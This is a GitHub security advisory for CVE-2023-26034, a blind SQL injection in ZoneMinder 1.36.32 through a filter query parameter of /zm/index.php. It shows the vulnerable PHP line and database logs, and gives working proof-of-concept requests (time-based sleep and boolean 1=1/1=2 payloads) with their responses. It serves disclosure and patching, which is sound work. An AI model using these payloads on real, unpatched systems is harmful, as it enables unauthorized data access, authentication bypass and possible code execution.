Skip to content

SQL Injection

High
connortechnology published GHSA-222j-wh8m-xjrx Feb 24, 2023

Package

zoneminder

Affected versions

<=1.36.32, < 1.37.33

Patched versions

1.36.33, 1.37.33

Description

Summary

ZoneMinder version 1.36.32 is affected by a SQL Injection vulnerability. The (blind) SQL Injection vulnerability is present within the filter[Query][terms][0][attr] query string parameter of the /zm/index.php endpoint.

Impact

A user with the View or Edit permissions of Events may execute arbitrary SQL. The resulting impact can include unauthorized data access (and modification), authentication and/or authorization bypass, and remote code execution.

Details

The concatenation of the unsanitized user-controlled input appears at web/ajax/events.php:192:

$where = $filter->sql()?' WHERE ('.$filter->sql().')' : '';

The database general log file:

11901 Execute	SELECT * FROM `Storage`
11901 Close stmt
11901 Prepare	SELECT E.*, M.Name AS Monitor FROM `Events` AS E INNER JOIN Monitors AS M ON E.MonitorId = M.Id WHERE ( E.MonitorId / sleep(13) = '1'
) ORDER BY E.StartDateTime ASC
936 Query	UPDATE LOW_PRIORITY Monitor_Status SET CaptureFPS = 30.00, CaptureBandwidth=129420, AnalysisFPS = 0.00 WHERE MonitorId=1
11901 Execute	SELECT E.*, M.Name AS Monitor FROM `Events` AS E INNER JOIN Monitors AS M ON E.MonitorId = M.Id WHERE ( E.MonitorId / sleep(13) = '1'
) ORDER BY E.StartDateTime ASC
11901 Close stmt
11901 Quit

Stack trace:

#0  queryRequest(ZM\Filter Object ([*defaults] => Array ([Id] => ,[Name] => ,[AutoExecute] => 0,[AutoExecuteCmd] => ,[AutoEmail] => 0,[EmailTo] => ,[EmailSubject] => ,[EmailBody] => ,[AutoDelete] => 0,[AutoArchive] => 0,[AutoUnarchive] => 0,[AutoVideo] => 0,[AutoUpload] => 0,[AutoMessage] => 0,[AutoMove] => 0,[AutoMoveTo] => 0,[AutoCopy] => 0,[AutoCopyTo] => 0,[UpdateDiskSpace] => 0,[UserId] => 0,[Background] => 0,[Concurrent] => 0,[Query_json] => ,[LockRows] => 0),[*_sql] =>  E.MonitorId / sleep(13) = '1'
,[_pre_sql_conditions] => Array (),[*_last_error] => ,[Query] => Array ([terms] => Array ([0] => Array ([attr] => MonitorId / sleep(13),[op] => =,[val] => 1)),[sort_asc] => 1,[sort_field] => StartDateTime,[limit] => 0),[Query_json] => {"terms":[{"attr":"MonitorId \/ sleep(13)","op":"=","val":"1"}],"sort_asc":"1","sort_field":"StartDateTime","limit":"0"},[Terms] => Array ([0] => ZM\FilterTerm Object ([filter] => ZM\Filter Object ( *RECURSION*,[index] => 0,[attr] => MonitorId / sleep(13),[op] => =,[val] => 1,[values] => ,[cnj] => ,[obr] => ,[cbr] => ,[tablename] => E))), , Array (), E.StartDateTime, 0, ASC, 0) called at [/usr/share/zoneminder/www/ajax/events.php:120]
#1  require_once(/usr/share/zoneminder/www/ajax/events.php) called at [/usr/share/zoneminder/www/index.php:269]

The proof of concept used in these details is as follows:

GET http://192.168.1.146/zm/index.php?view=request&request=events&task=query&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Battr%5D=MonitorId%20/%20sleep(13)&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Bop%5D==&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Bval%5D=1&filter%5BQuery%5D%5Bsort_asc%5D=1&filter%5BQuery%5D%5Bsort_field%5D=StartDateTime&filter%5BQuery%5D%5Blimit%5D=0 HTTP/1.1  
Host: 192.168.1.146  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Connection: keep-alive  
Content-Length: 0  
Cookie: zmSkin=classic; zmCSS=base; ZMSESSID=a9i6p823dd4cvl658aq8mgbi22

PoC

A time-based proof of concept payload using the MariaDB sleep function, as follows:

Request

GET http://192.168.1.146/zm/index.php?view=request&request=events&task=query&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Battr%5D=MonitorId%20/%20sleep(13)&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Bop%5D==&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Bval%5D=1&filter%5BQuery%5D%5Bsort_asc%5D=1&filter%5BQuery%5D%5Bsort_field%5D=StartDateTime&filter%5BQuery%5D%5Blimit%5D=0 HTTP/1.1  
Host: 192.168.1.146  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Connection: keep-alive  
Content-Length: 0  
Cookie: zmSkin=classic; zmCSS=base; ZMSESSID=9enmm5uqte0tqt3dgq7447odh9

Response

HTTP/1.1 200 OK  
Date: Thu, 23 Feb 2023 01:10:24 GMT  
Server: Apache/2.4.54 (Debian)  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Content-Length: 94  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: application/json  
  
{"result":"Ok","total":0,"totalNotFiltered":0,"rows":[],"updated":"2\/22\/23, 7:10:24 PM CST"}

A boolean-based proof of concept with a resultant true query (AND 1=1), as follows:

Request

GET http://192.168.1.146/zm/index.php?view=request&request=events&task=query&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Battr%5D=MonitorId)%20AND%20(1=1&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Bop%5D==&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Bval%5D=1 HTTP/1.1  
Host: 192.168.1.146  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Connection: keep-alive  
Content-Length: 0  
Cookie: zmSkin=classic; zmCSS=base; ZMSESSID=cmllgeglf6h0jbetb9kvkjet2u

Response

HTTP/1.1 200 OK  
Date: Thu, 23 Feb 2023 00:25:58 GMT  
Server: Apache/2.4.54 (Debian)  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Content-Length: 1224  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: application/json  
  
{"result":"Ok","total":1,"totalNotFiltered":1,"rows":[{"Id":1,"MonitorId":1,"StorageId":0,"SecondaryStorageId":0,"Name":"Event-1","Cause":"Continuous","StartDateTime":"2\/21\/23, 3:03:07 PM CST","EndDateTime":"2\/21\/23, 3:03:15 PM CST","Width":800,"Height":600,"Length":"8.18","Frames":274,"AlarmFrames":3,"DefaultVideo":"","SaveJPEGs":3,"TotScore":3,"AvgScore":1,"MaxScore":1,"Archived":"No","Videoed":0,"Uploaded":0,"Emailed":"No","Messaged":0,"Executed":0,"Notes":"Motion: All;wall hi","StateId":1,"Orientation":"ROTATE_0","DiskSpace":"26.41MB","Scheme":"Medium","Locked":0,"Monitor":"Monitor-1","imgHtml":"<img id=\"thumbnail1\" src=\"\/zm\/index.php?eid=1&amp;fid=snapshot&amp;view=image&amp;width=48&amp;height=36&amp;auth=597e5ddd941e770bc2962fb533ce3fd5\" alt=\"Event 1\" width=\"48\" height=\"36\" stream_src=\"\/zm\/cgi-bin\/nph-zms?mode=jpeg&amp;scale=30&amp;maxfps=30&amp;replay=single&amp;rate=400&amp;source=event&amp;event=1&amp;rand=1677111958&amp;auth=597e5ddd941e770bc2962fb533ce3fd5\" still_src=\"\/zm\/index.php?eid=1&amp;fid=snapshot&amp;view=image&amp;width=48&amp;height=36&amp;auth=597e5ddd941e770bc2962fb533ce3fd5\" loading=\"lazy\" \/>","Storage":"Default"}],"updated":"2\/22\/23, 6:25:58 PM CST"}

A boolean-based proof of concept with a resultant false query (AND 1=2), as follows:

Request

GET http://192.168.1.146/zm/index.php?view=request&request=events&task=query&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Battr%5D=MonitorId)%20AND%20(1=2&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Bop%5D==&filter%5BQuery%5D%5Bterms%5D%5B0%5D%5Bval%5D=1 HTTP/1.1  
Host: 192.168.1.146  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Connection: keep-alive  
Content-Length: 0  
Cookie: zmSkin=classic; zmCSS=base; ZMSESSID=cmllgeglf6h0jbetb9kvkjet2u

Response

HTTP/1.1 200 OK  
Date: Thu, 23 Feb 2023 00:26:19 GMT  
Server: Apache/2.4.54 (Debian)  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Content-Length: 94  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: application/json  
  
{"result":"Ok","total":0,"totalNotFiltered":0,"rows":[],"updated":"2\/22\/23, 6:26:19 PM CST"}

Severity

High
8.1
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

CVE ID

CVE-2023-26034

Weaknesses

Credits